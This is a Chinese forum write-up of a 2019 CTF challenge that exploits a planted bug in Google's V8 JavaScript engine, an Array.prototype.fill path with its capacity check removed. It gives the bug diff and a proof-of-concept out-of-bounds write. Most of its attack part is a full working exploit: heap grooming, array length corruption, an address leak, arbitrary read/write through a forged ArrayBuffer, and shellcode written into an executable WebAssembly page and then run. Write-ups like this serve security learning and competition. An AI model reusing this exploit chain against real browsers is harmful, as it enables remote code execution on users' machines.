-
-
[推荐]看雪.纽盾 KCTF 2019 Q3 | 第十二题点评及解题思路
-
发表于: 2019-10-8 14:33 2160
-
是重情重义的翩翩君子,也是文武双全的骁勇将军。他的存在,是江山百姓之幸。战场上他以一敌百,谋略出众。朝堂上他唇枪舌剑,众臣信服。但生性多疑的天子,总是摇摆不定。背后的刺青,缠绕了他一生,在他浴血沙场的某一刻,百万将士必能看到将军身后的金色光芒不断上升、腾飞。那战马之上的人,为了这山河,所向披靡。

题目简介
本题共有1114人围观,最终只有6支团队攻破成功。比赛过程也十分精彩,从开赛当天到比赛结束前夕,均有战队攻破此题。战士深夜破题,为了团队的荣耀,在最后时刻依然不放弃,坚信自己会看到胜利的曙光。
攻破此题的战队排名一览:

这道题攻破人数较少,接下来我们一起来看一下这道题的点评和详细解析吧。
看雪评委crownless点评
简单地说这是一个V8的利用题,引入的 bug 是把 Array.prototype.fill 处理 FastDoubleArray 之类的东西的时候的范围检查给删了。应该是个挺简单的题目。
出题团队简介
本题出题战队2019:

该团队只有holing一个人,依然很厉害。下面是相关简介:
盘古实验室安全研究员,目前研究方向为浏览器漏洞。
设计思路
0x01 漏洞
Object Fill(Handle<JSObject> receiver, Handle<Object> obj_value,
uint32_t start, uint32_t end) override {
return Subclass::FillImpl(receiver, obj_value, start, end);
}BUILTIN(ArrayPrototypeFill) {
HandleScope scope(isolate);
if (isolate->debug_execution_mode() == DebugInfo::kSideEffects) {
if (!isolate->debug()->PerformSideEffectCheckForObject(args.receiver())) {
return ReadOnlyRoots(isolate).exception();
}
}
// 1. Let O be ? ToObject(this value).
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
// 2. Let len be ? ToLength(? Get(O, "length")).
double length;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, length, GetLengthProperty(isolate, receiver));
// 3. Let relativeStart be ? ToInteger(start).
// 4. If relativeStart < 0, let k be max((len + relativeStart), 0);
// else let k be min(relativeStart, len).
Handle<Object> start = args.atOrUndefined(isolate, 2);
double start_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, start_index, GetRelativeIndex(isolate, length, start, 0));
// 5. If end is undefined, let relativeEnd be len;
// else let relativeEnd be ? ToInteger(end).
// 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
// else let final be min(relativeEnd, len).
Handle<Object> end = args.atOrUndefined(isolate, 3);
double end_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, end_index, GetRelativeIndex(isolate, length, end, length));
if (start_index >= end_index) return *receiver;
// Ensure indexes are within array bounds
DCHECK_LE(0, start_index);
DCHECK_LE(start_index, end_index);
DCHECK_LE(end_index, length);
Handle<Object> value = args.atOrUndefined(isolate, 1);
if (TryFastArrayFill(isolate, &args, receiver, value, start_index,
end_index)) {
return *receiver;
}
return GenericArrayFill(isolate, receiver, value, start_index, end_index);
}
V8_WARN_UNUSED_RESULT bool TryFastArrayFill(
Isolate* isolate, BuiltinArguments* args, Handle<JSReceiver> receiver,
Handle<Object> value, double start_index, double end_index) {
// If indices are too large, use generic path since they are stored as
// properties, not in the element backing store.
if (end_index > kMaxUInt32) return false;
if (!receiver->IsJSObject()) return false;
if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, args, 1, 1)) {
return false;
}
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
// If no argument was provided, we fill the array with 'undefined'.
// EnsureJSArrayWith... does not handle that case so we do it here.
// TODO(szuend): Pass target elements kind to EnsureJSArrayWith... when
// it gets refactored.
if (args->length() == 1 && array->GetElementsKind() != PACKED_ELEMENTS) {
// Use a short-lived HandleScope to avoid creating several copies of the
// elements handle which would cause issues when left-trimming later-on.
HandleScope scope(isolate);
JSObject::TransitionElementsKind(array, PACKED_ELEMENTS);
}
DCHECK_LE(start_index, kMaxUInt32);
DCHECK_LE(end_index, kMaxUInt32);
uint32_t start, end;
CHECK(DoubleToUint32IfEqualToSelf(start_index, &start));
CHECK(DoubleToUint32IfEqualToSelf(end_index, &end));
ElementsAccessor* accessor = array->GetElementsAccessor();
accessor->Fill(array, value, start, end);
return true;
}end来自于end_index,而这个来自于args.atOrUndefined(isolate, 3),即JavaScript的参数。阅读一下这个函数,发现end_index是从GetRelativeIndex转换而来,而这个函数永远会保证返回的值小于等于array.length,这个length其实一定小于等于后面的capacity。
咋一看好像触发不了,但是其实是有一个小问题的,就是Object::ToInteger可以调用JavaScript代码,然后在这个时候可以去收缩array的长度,这样就可以在FillImpl里面使得capacity < end了。具体PoC:
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
var arr = [1.1];
for (let i = 0; i < 0x100; i++)
{
arr.push(i);
}
arr.fill(1.1, 0,
{
valueOf : function ()
{
arr.length = 1;
gc();
return 0x100;
}
});
0x02 利用
然后这个oobArray后面也得有一个ArrayBuffer和一个web assembly function的地址,这样就能leak,然后任意读写,在RWX页上写shellcode并且执行。具体exploit在附件。
0x03 部署
解题思路

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 13a35b0cd3..3211a43525 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1691,7 +1691,7 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
}
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
- Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+ Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);/*
global_template->Set(
String::NewFromUtf8(isolate, "print", NewStringType::kNormal)
.ToLocalChecked(),
@@ -1879,7 +1879,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
String::NewFromUtf8(isolate, "async_hooks", NewStringType::kNormal)
.ToLocalChecked(),
async_hooks_templ);
- }
+ }*/
return global_template;
}
diff --git a/src/objects/elements.cc b/src/objects/elements.cc
index 6e5648d2f4..5e259925dc 100644
--- a/src/objects/elements.cc
+++ b/src/objects/elements.cc
@@ -2148,12 +2148,6 @@ class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits> {
}
// Make sure we have enough space.
- uint32_t capacity =
- Subclass::GetCapacityImpl(*receiver, receiver->elements());
- if (end > capacity) {
- Subclass::GrowCapacityAndConvertImpl(receiver, end);
- CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
- }
DCHECK_LE(end, Subclass::GetCapacityImpl(*receiver, receiver->elements()));
for (uint32_t index = start; index < end; ++index) {应该是个挺儿童的题目。
直接传一个很大的值并不 work,是因为前面的代码里处理负数 start 和 end 的时候顺便修了 start 和 end 的范围。
如果你找不到前面的代码在哪,推荐使用 ccls (shameless plug /s因为获取 end 啊之类的时候可以触发 callback,可以在 callback 里触发 shrink,这样的话在上面的边界检查被删除的情况下就可以触发一个 OOB 写了。
接下来的做法就是到处搜一搜,拼凑一些利用技巧,组装成 exploit 即可。
路径大概是:
1. 因为这是 CTF 不需要稳定且是在 d8 里面堆特别稳定所以先胡乱风水一把两个值都是 double 的 array 排到一起。
2. 触发 bug 改大第二个 array 的长度。
3. 分配一大堆用来 leak 的 array,里面放上要 leak 的对象,和几个标记用的整数,这是因为 Smi 和 Object 可以混放在同一个 FastArray 里。
4. 搜索这些整数,找到要 leak 的对象的地址。
5. 分配一大堆 ArrayBuffer,搜索特征找到一个把它的大小改掉,找一找看看谁被改了。
6. 改变 ArrayBuffer 的指针就可以任意读写了。
7. 修改 wasm 函数的代码(9102 年了还是 rwx 的),改成 shellcode。
var CONVERSION = new ArrayBuffer(8); var CONVERSION_U32 = new Uint32Array(CONVERSION); var CONVERSION_F64 = new Float64Array(CONVERSION);
function ljust(x, n, c){ while (x.length < n) x = c+x; return x; }
function rjust(x, n, c){ x += c.repeat(n); return x; }
function tohex64(x){ return "0x"+ljust(x[1].toString(16),8,'0')+ljust(x[0].toString(16),8,'0'); }
function u32_to_f64(u){ CONVERSION_U32[0] = u[0]; CONVERSION_U32[1] = u[1]; return CONVERSION_F64[0]; }
function f64_to_u32(f, b=0){ CONVERSION_F64[0] = f; if (b) return CONVERSION_U32; return new Uint32Array(CONVERSION_U32); }
function gc(){ for (let i=0;i<0x10;i++) new ArrayBuffer(0x800000); }
wasm_bytes = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 1, 127, 0, 96, 0, 0, 2, 25, 1, 7, 105, 109, 112, 111, 114, 116, 115, 13, 105, 109, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 0, 3, 2, 1, 1, 7, 17, 1, 13, 101, 120, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 1, 10, 8, 1, 6, 0, 65, 42, 16, 0, 11]);
wasm_inst = new WebAssembly.Instance(new WebAssembly.Module(wasm_bytes), {imports: {imported_func: function(x){ return x; }}});
wasm_func = wasm_inst.exports.exported_func;
const FORGED_LENGTH = 0x10000;
const nya = u32_to_f64([0, FORGED_LENGTH]);
let arr0 = [];
let victimz = [];
for (let i = 0; i < 128; i++) {
arr0.push(1.234);
}
arr0.fill(nya, 37, {valueOf() {
arr0.length = 16;
// gc();
for (let i = 0; i < 4096; i++) {
let victim = Array(16);
victim.fill(7.777);
victimz.push(victim);
}
return 38;
}});
let bingo;
for (let i = 0; i < victimz.length; i++) {
if (victimz[i].length == FORGED_LENGTH) {
bingo = victimz[i];
}
}
victimz = undefined;
const tag = 0xbabe;
const tagf64 = u32_to_f64([0, tag]);
let ta = [];
for (let i = 0; i < 8192; i++) {
ta.push(new Uint32Array(0x1000));
ta[ta.length - 1].buffer;
let obj_arr = new Array(0x80).fill(wasm_func);
for (let i = 0; i < 4; i++) obj_arr[i] = tag;
ta.push(obj_arr);
}
gc();
let badboy = -1;
for (let i = 1; i < bingo.length; i++) {
let cur = f64_to_u32(bingo[i], 1)[0];
let last = f64_to_u32(bingo[i - 1], 1)[0];
// console.log(tohex64(f64_to_u32(bingo[i], 1)));
if (badboy == -1 && cur == 0x1000 && last == 0x4000) {
console.log("found", i);
bingo[i] = u32_to_f64([0x20000000, 0]);
bingo[i-1] = u32_to_f64([0x80000000, 0]);
badboy = i;
break;
}
}
let wasm_func_addr;
for (let i = 0; i < bingo.length; i++) {
if (bingo[i] == tagf64 && bingo[i+1] == tagf64 && bingo[i+2] == tagf64 && bingo[i+3] == tagf64) {
wasm_func_addr = bingo[i+4];
break;
}
}
if (badboy == -1) {
throw "failed";
}
console.log('badboy', badboy);
console.log('wasm_func_addr', tohex64(f64_to_u32(wasm_func_addr)));
let rw;
for (let i = 0; i < ta.length; i++) {
if (ta[i].length != 0x1000 && ta[i].length != 128) {
rw = ta[i];
break;
}
}
// %DebugPrint(wasm_func);
// %DebugPrint(rw);
// %DebugPrint(rw.buffer);
// console.log("rw", rw.length);
// bingo[badboy + 1] = u32_to_f64([0x41414141, 0x4141]);
// console.log(rw[0]);
function r32(addr) { bingo[badboy + 1] = u32_to_f64(addr); return rw[0]; }
function r64(addr) { bingo[badboy + 1] = u32_to_f64(addr); return [rw[0], rw[1]]; }
ptr = f64_to_u32(wasm_func_addr);
console.log(tohex64(ptr));
ptr[0]--; ptr[0] += 0x18; ptr = r64(ptr);
console.log(tohex64(ptr));
ptr[0]--; ptr[0] += 0x8; ptr = r64(ptr);
console.log(tohex64(ptr));
let co = [ptr[0], ptr[1]];
ptr[0]--; ptr[0] += 0x10; ptr = r64(ptr);
console.log(tohex64(ptr));
// ptr[0]--; r64(ptr);
// for (let i = 0; i < 0x100; i += 2) {
// let zzz = [rw[i], rw[i+1]];
// console.log(4*i, tohex64(zzz));
// }
ptr[0]--; ptr[0] += 0x80; ptr = r64(ptr);
console.log(tohex64(ptr));
let codepage = [ptr[0], ptr[1]];
ptr = co;
ptr[0]--; ptr[0] += 0x1c; ptr = r64(ptr);
console.log(tohex64(ptr));
codepage[0] += ptr[0];
ptr = r64(codepage);
// rw[0] = 0xcccccccc;
rw[0] = 3091753066;
rw[1] = 1852400175;
rw[2] = 1932472111;
rw[3] = 3884533840;
rw[4] = 23687784;
rw[5] = 607420673;
rw[6] = 16843009;
rw[7] = 1784084017;
rw[8] = 21519880;
rw[9] = 2303219430;
rw[10] = 1792160230;
rw[11] = 84891707;
wasm_func();END
原文链接:7eeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9J5c8Y4u0K6x3h3!0H3K9i4R3K6x3V1R3$3L8Y4u0q4c8o6V1&6e0s2N6y4K9s2M7`.
[培训]传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-10-10 15:24
被Editor编辑
,原因:
赞赏
他的文章
赞赏
雪币:
留言: